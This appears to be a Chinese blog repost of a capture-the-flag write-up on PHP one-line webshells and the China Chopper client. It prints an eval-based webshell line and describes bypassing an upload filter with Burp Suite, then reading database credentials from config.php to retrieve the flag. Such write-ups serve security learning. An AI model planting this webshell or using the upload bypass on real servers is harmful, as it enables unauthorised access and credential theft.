博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
一句话木马及菜刀的使用
阅读量:5789 次
发布时间:2019-06-18

本文共 538 字,大约阅读时间需要 1 分钟。

来一波原理:

eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false

<?php  @eval($_POST(‘1’);?>

各种绕过文件上传的姿势:

如果你已经成功上传了一个一句话木马文件,那么现在就可以使用菜刀链接了

具体的步骤就是右键添加;输入url加上上传路径及上传文件,具体的可以参考这个例题:

题目链接:

解题步骤

  • 打开网页我们发现需要上传一个文件我们先尝试上传名为1.php的文件(本文件夹中)

此时我们将1.php文件扩展名改为1.jpg然后打开burpsuite抓包抓包之后我们将文件名改为1.php

然后点击forward

发现文件上传成功

  • 我们利用中国菜刀连接目标服务器

菜刀连接上去在里面发现了数据库配置文件config.php,看到了数据库账号密码

https://static2.ichunqiu.com/icq/resources/upload/images/writeup/180319/1521435361_791607.jpg

https://static2.ichunqiu.com/icq/resources/upload/images/writeup/180319/1521435397_791607.jpg

编辑菜刀连接数据库上去拿到flag

https://static2.ichunqiu.com/icq/resources/upload/images/writeup/180319/1521435409_791607.jpg

然后右键点击数据库管理进入到页面在页面上方输入sql语句寻找包含flag的文件

https://static2.ichunqiu.com/icq/resources/upload/images/writeup/180319/1521435414_791607.jpg

 

转载于:https://www.cnblogs.com/qingwuyou/p/10687472.html

你可能感兴趣的文章
Webpack中的sourcemap以及如何在生产和开发环境中合理的设置sourcemap的类型
查看>>
做完小程序项目、老板给我加了6k薪资~
查看>>
java工程师linux命令,这篇文章就够了
查看>>
关于React生命周期的学习
查看>>
webpack雪碧图生成
查看>>
搭建智能合约开发环境Remix IDE及使用
查看>>
Spring Cloud构建微服务架构—服务消费基础
查看>>
RAC实践采坑指北
查看>>
runtime运行时 isa指针 SEL方法选择器 IMP函数指针 Method方法 runtime消息机制 runtime的使用...
查看>>
LeetCode36.有效的数独 JavaScript
查看>>
Scrapy基本用法
查看>>
PAT A1030 动态规划
查看>>
自制一个 elasticsearch-spring-boot-starter
查看>>
【人物志】美团前端通道主席洪磊:一位产品出身、爱焊电路板的工程师
查看>>
一份关于数据科学家应该具备的技能清单
查看>>
机器学习实战_一个完整的程序(一)
查看>>
Web框架的常用架构模式(JavaScript语言)
查看>>
如何用UPA优化性能?先读懂这份报告!
查看>>
这些Java面试题必须会-----鲁迅
查看>>
Linux 常用命令
查看>>